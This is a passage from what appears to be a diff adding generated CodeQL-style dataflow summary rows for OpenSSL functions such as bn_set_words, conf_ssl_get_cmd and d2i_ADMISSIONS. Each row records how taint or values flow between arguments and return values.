"bn_set_static_words", "(BIGNUM *,const unsigned long *,int)", "", "Argument[2]", "Argument[*0].Field[*top]", "value", "dfc-generated"] + - ["", "", True, "bn_set_words", "(BIGNUM *,const unsigned long *,int)", "", "Argument[*1]", "Argument[*0].Field[**d]", "value", "dfc-generated"] + - ["", "", True, "bn_set_words", "(BIGNUM *,const unsigned long *,int)", "", "Argument[1]", "Argument[*0].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "bn_set_words", "(BIGNUM *,const unsigned long *,int)", "", "Argument[2]", "Argument[*0].Field[*dmax]", "value", "dfc-generated"] + - ["", "", True, "bn_set_words", "(BIGNUM *,const unsigned long *,int)", "", "Argument[2]", "Argument[*0].Field[*top]", "value", "dfc-generated"] + - ["", "", True, "bn_sqr_fixed_top", "(BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "bn_sqr_fixed_top", "(BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "bn_sqr_normal", "(unsigned long *,const unsigned long *,int,unsigned long *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "bn_sqr_normal", "(unsigned long *,const unsigned long *,int,unsigned long *)", "", "Argument[2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "bn_sqr_normal", "(unsigned long *,const unsigned long *,int,unsigned long *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "bn_sqr_recursive", "(unsigned long *,const unsigned long *,int,unsigned long *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "bn_sqr_recursive", "(unsigned long *,const unsigned long *,int,unsigned long *)", "", "Argument[2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "bn_sqr_recursive", "(unsigned long *,const unsigned long *,int,unsigned long *)", "", "Argument[2]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "bn_sqr_recursive", "(unsigned long *,const unsigned long *,int,unsigned long *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "bn_sqr_words", "(unsigned long *,const unsigned long *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "bn_sub_part_words", "(unsigned long *,const unsigned long *,const unsigned long *,int,int)", "", "Argument[*1]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "bn_sub_part_words", "(unsigned long *,const unsigned long *,const unsigned long *,int,int)", "", "Argument[*2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "bn_sub_part_words", "(unsigned long *,const unsigned long *,const unsigned long *,int,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "bn_sub_part_words", "(unsigned long *,const unsigned long *,const unsigned long *,int,int)", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "bn_sub_part_words", "(unsigned long *,const unsigned long *,const unsigned long *,int,int)", "", "Argument[2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "bn_sub_part_words", "(unsigned long *,const unsigned long *,const unsigned long *,int,int)", "", "Argument[3]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "bn_to_mont_fixed_top", "(BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "bn_to_mont_fixed_top", "(BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*1]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "bn_to_mont_fixed_top", "(BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "bn_to_mont_fixed_top", "(BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "bn_wexpand", "(BIGNUM *,int)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "bn_wexpand", "(BIGNUM *,int)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "bn_wexpand", "(BIGNUM *,int)", "", "Argument[1]", "Argument[*0].Field[*dmax]", "value", "dfc-generated"] + - ["", "", True, "bn_wexpand", "(BIGNUM *,int)", "", "Argument[1]", "ReturnValue[*].Field[*dmax]", "value", "dfc-generated"] + - ["", "", True, "ca_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "ca_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "calculate_columns", "(FUNCTION *,DISPLAY_COLUMNS *)", "", "Argument[*1].Field[*width]", "Argument[*1].Field[*columns]", "taint", "dfc-generated"] + - ["", "", True, "chopup_args", "(ARGS *,char *)", "", "Argument[*1]", "Argument[*0].Field[***argv]", "value", "dfc-generated"] + - ["", "", True, "chopup_args", "(ARGS *,char *)", "", "Argument[1]", "Argument[*0].Field[***argv]", "value", "dfc-generated"] + - ["", "", True, "chopup_args", "(ARGS *,char *)", "", "Argument[1]", "Argument[*0].Field[**argv]", "value", "dfc-generated"] + - ["", "", True, "ciphers_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "ciphers_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "cmp_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "cmp_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "cms_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "cms_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "cms_main", "(int,char **,char *[])", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "cms_main", "(int,char **,char *[])", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "collect_names", "(const char *,void *)", "", "Argument[*0]", "Argument[*1].Field[***data]", "value", "dfc-generated"] + - ["", "", True, "collect_names", "(const char *,void *)", "", "Argument[*0]", "Argument[*1].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "collect_names", "(const char *,void *)", "", "Argument[0]", "Argument[*1].Field[***data]", "value", "dfc-generated"] + - ["", "", True, "collect_names", "(const char *,void *)", "", "Argument[0]", "Argument[*1].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "conf_ssl_get", "(size_t,const char **,size_t *)", "", "Argument[0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "conf_ssl_get", "(size_t,const char **,size_t *)", "", "Argument[0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "conf_ssl_get", "(size_t,const char **,size_t *)", "", "Argument[0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "conf_ssl_get", "(size_t,const char **,size_t *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "conf_ssl_get", "(size_t,const char **,size_t *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "conf_ssl_get_cmd", "(const SSL_CONF_CMD *,size_t,char **,char **)", "", "Argument[*0]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "conf_ssl_get_cmd", "(const SSL_CONF_CMD *,size_t,char **,char **)", "", "Argument[*0]", "Argument[**3]", "taint", "df-generated"] + - ["", "", True, "conf_ssl_get_cmd", "(const SSL_CONF_CMD *,size_t,char **,char **)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "conf_ssl_get_cmd", "(const SSL_CONF_CMD *,size_t,char **,char **)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "conf_ssl_get_cmd", "(const SSL_CONF_CMD *,size_t,char **,char **)", "", "Argument[0]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "conf_ssl_get_cmd", "(const SSL_CONF_CMD *,size_t,char **,char **)", "", "Argument[0]", "Argument[**3]", "taint", "df-generated"] + - ["", "", True, "conf_ssl_get_cmd", "(const SSL_CONF_CMD *,size_t,char **,char **)", "", "Argument[0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "conf_ssl_get_cmd", "(const SSL_CONF_CMD *,size_t,char **,char **)", "", "Argument[0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "conf_ssl_get_cmd", "(const SSL_CONF_CMD *,size_t,char **,char **)", "", "Argument[1]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "conf_ssl_get_cmd", "(const SSL_CONF_CMD *,size_t,char **,char **)", "", "Argument[1]", "Argument[**3]", "taint", "df-generated"] + - ["", "", True, "conf_ssl_get_cmd", "(const SSL_CONF_CMD *,size_t,char **,char **)", "", "Argument[1]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "conf_ssl_get_cmd", "(const SSL_CONF_CMD *,size_t,char **,char **)", "", "Argument[1]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "config_ctx", "(SSL_CONF_CTX *,stack_st_OPENSSL_STRING *,SSL_CTX *)", "", "Argument[2]", "Argument[*0].Field[*ctx]", "value", "dfc-generated"] + - ["", "", True, "construct_ca_names", "(SSL_CONNECTION *,const stack_st_X509_NAME *,WPACKET *)", "", "Argument[*1]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "construct_key_exchange_tbs", "(SSL_CONNECTION *,unsigned char **,const void *,size_t)", "", "Argument[**2]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "construct_key_exchange_tbs", "(SSL_CONNECTION *,unsigned char **,const void *,size_t)", "", "Argument[*2]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "construct_key_exchange_tbs", "(SSL_CONNECTION *,unsigned char **,const void *,size_t)", "", "Argument[*2]", "Argument[**2]", "value", "dfc-generated"] + - ["", "", True, "construct_key_exchange_tbs", "(SSL_CONNECTION *,unsigned char **,const void *,size_t)", "", "Argument[2]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "construct_key_exchange_tbs", "(SSL_CONNECTION *,unsigned char **,const void *,size_t)", "", "Argument[2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "construct_key_exchange_tbs", "(SSL_CONNECTION *,unsigned char **,const void *,size_t)", "", "Argument[3]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "crl2pkcs7_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "crl2pkcs7_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "crl_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "crl_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "custom_ext_find", "(const custom_ext_methods *,ENDPOINT,unsigned int,size_t *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "custom_ext_find", "(const custom_ext_methods *,ENDPOINT,unsigned int,size_t *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "custom_exts_copy", "(custom_ext_methods *,const custom_ext_methods *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ACCESS_DESCRIPTION", "(ACCESS_DESCRIPTION **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ACCESS_DESCRIPTION", "(ACCESS_DESCRIPTION **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ACCESS_DESCRIPTION", "(ACCESS_DESCRIPTION **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ACCESS_DESCRIPTION", "(ACCESS_DESCRIPTION **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ACCESS_DESCRIPTION", "(ACCESS_DESCRIPTION **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ACCESS_DESCRIPTION", "(ACCESS_DESCRIPTION **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ACCESS_DESCRIPTION", "(ACCESS_DESCRIPTION **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ACCESS_DESCRIPTION", "(ACCESS_DESCRIPTION **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ACCESS_DESCRIPTION", "(ACCESS_DESCRIPTION **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ACCESS_DESCRIPTION", "(ACCESS_DESCRIPTION **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ACCESS_DESCRIPTION", "(ACCESS_DESCRIPTION **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ACCESS_DESCRIPTION", "(ACCESS_DESCRIPTION **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ACCESS_DESCRIPTION", "(ACCESS_DESCRIPTION **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ACCESS_DESCRIPTION", "(ACCESS_DESCRIPTION **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ACCESS_DESCRIPTION", "(ACCESS_DESCRIPTION **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ACCESS_DESCRIPTION", "(ACCESS_DESCRIPTION **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ACCESS_DESCRIPTION", "(ACCESS_DESCRIPTION **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ACCESS_DESCRIPTION", "(ACCESS_DESCRIPTION **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ACCESS_DESCRIPTION", "(ACCESS_DESCRIPTION **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ACCESS_DESCRIPTION", "(ACCESS_DESCRIPTION **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ACCESS_DESCRIPTION", "(ACCESS_DESCRIPTION **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ACCESS_DESCRIPTION", "(ACCESS_DESCRIPTION **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ACCESS_DESCRIPTION", "(ACCESS_DESCRIPTION **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ACCESS_DESCRIPTION", "(ACCESS_DESCRIPTION **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ACCESS_DESCRIPTION", "(ACCESS_DESCRIPTION **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ACCESS_DESCRIPTION", "(ACCESS_DESCRIPTION **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ACCESS_DESCRIPTION", "(ACCESS_DESCRIPTION **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ACCESS_DESCRIPTION", "(ACCESS_DESCRIPTION **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ACCESS_DESCRIPTION", "(ACCESS_DESCRIPTION **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ACCESS_DESCRIPTION", "(ACCESS_DESCRIPTION **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ACCESS_DESCRIPTION", "(ACCESS_DESCRIPTION **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ACCESS_DESCRIPTION", "(ACCESS_DESCRIPTION **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSIONS", "(ADMISSIONS **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ADMISSIONS", "(ADMISSIONS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ADMISSIONS", "(ADMISSIONS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ADMISSIONS", "(ADMISSIONS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSIONS", "(ADMISSIONS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSIONS", "(ADMISSIONS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSIONS", "(ADMISSIONS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSIONS", "(ADMISSIONS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSIONS", "(ADMISSIONS **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ADMISSIONS", "(ADMISSIONS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ADMISSIONS", "(ADMISSIONS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ADMISSIONS", "(ADMISSIONS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSIONS", "(ADMISSIONS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSIONS", "(ADMISSIONS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSIONS", "(ADMISSIONS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSIONS", "(ADMISSIONS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSIONS", "(ADMISSIONS **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ADMISSIONS", "(ADMISSIONS **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ADMISSIONS", "(ADMISSIONS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ADMISSIONS", "(ADMISSIONS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ADMISSIONS", "(ADMISSIONS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSIONS", "(ADMISSIONS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSIONS", "(ADMISSIONS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSIONS", "(ADMISSIONS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSIONS", "(ADMISSIONS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSIONS", "(ADMISSIONS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSIONS", "(ADMISSIONS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSIONS", "(ADMISSIONS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSIONS", "(ADMISSIONS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSIONS", "(ADMISSIONS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSIONS", "(ADMISSIONS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSIONS", "(ADMISSIONS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSION_SYNTAX", "(ADMISSION_SYNTAX **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ADMISSION_SYNTAX", "(ADMISSION_SYNTAX **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ADMISSION_SYNTAX", "(ADMISSION_SYNTAX **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ADMISSION_SYNTAX", "(ADMISSION_SYNTAX **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSION_SYNTAX", "(ADMISSION_SYNTAX **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSION_SYNTAX", "(ADMISSION_SYNTAX **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSION_SYNTAX", "(ADMISSION_SYNTAX **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSION_SYNTAX", "(ADMISSION_SYNTAX **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSION_SYNTAX", "(ADMISSION_SYNTAX **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ADMISSION_SYNTAX", "(ADMISSION_SYNTAX **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ADMISSION_SYNTAX", "(ADMISSION_SYNTAX **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ADMISSION_SYNTAX", "(ADMISSION_SYNTAX **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSION_SYNTAX", "(ADMISSION_SYNTAX **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSION_SYNTAX", "(ADMISSION_SYNTAX **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSION_SYNTAX", "(ADMISSION_SYNTAX **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSION_SYNTAX", "(ADMISSION_SYNTAX **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSION_SYNTAX", "(ADMISSION_SYNTAX **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ADMISSION_SYNTAX", "(ADMISSION_SYNTAX **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ADMISSION_SYNTAX", "(ADMISSION_SYNTAX **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ADMISSION_SYNTAX", "(ADMISSION_SYNTAX **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ADMISSION_SYNTAX", "(ADMISSION_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSION_SYNTAX", "(ADMISSION_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSION_SYNTAX", "(ADMISSION_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSION_SYNTAX", "(ADMISSION_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSION_SYNTAX", "(ADMISSION_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSION_SYNTAX", "(ADMISSION_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSION_SYNTAX", "(ADMISSION_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSION_SYNTAX", "(ADMISSION_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSION_SYNTAX", "(ADMISSION_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSION_SYNTAX", "(ADMISSION_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSION_SYNTAX", "(ADMISSION_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSION_SYNTAX", "(ADMISSION_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdOrRange", "(ASIdOrRange **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASIdOrRange", "(ASIdOrRange **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASIdOrRange", "(ASIdOrRange **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASIdOrRange", "(ASIdOrRange **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdOrRange", "(ASIdOrRange **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdOrRange", "(ASIdOrRange **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdOrRange", "(ASIdOrRange **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdOrRange", "(ASIdOrRange **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdOrRange", "(ASIdOrRange **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASIdOrRange", "(ASIdOrRange **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASIdOrRange", "(ASIdOrRange **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASIdOrRange", "(ASIdOrRange **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdOrRange", "(ASIdOrRange **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdOrRange", "(ASIdOrRange **,const unsigned char **,long)", "", "Argument[*1]", 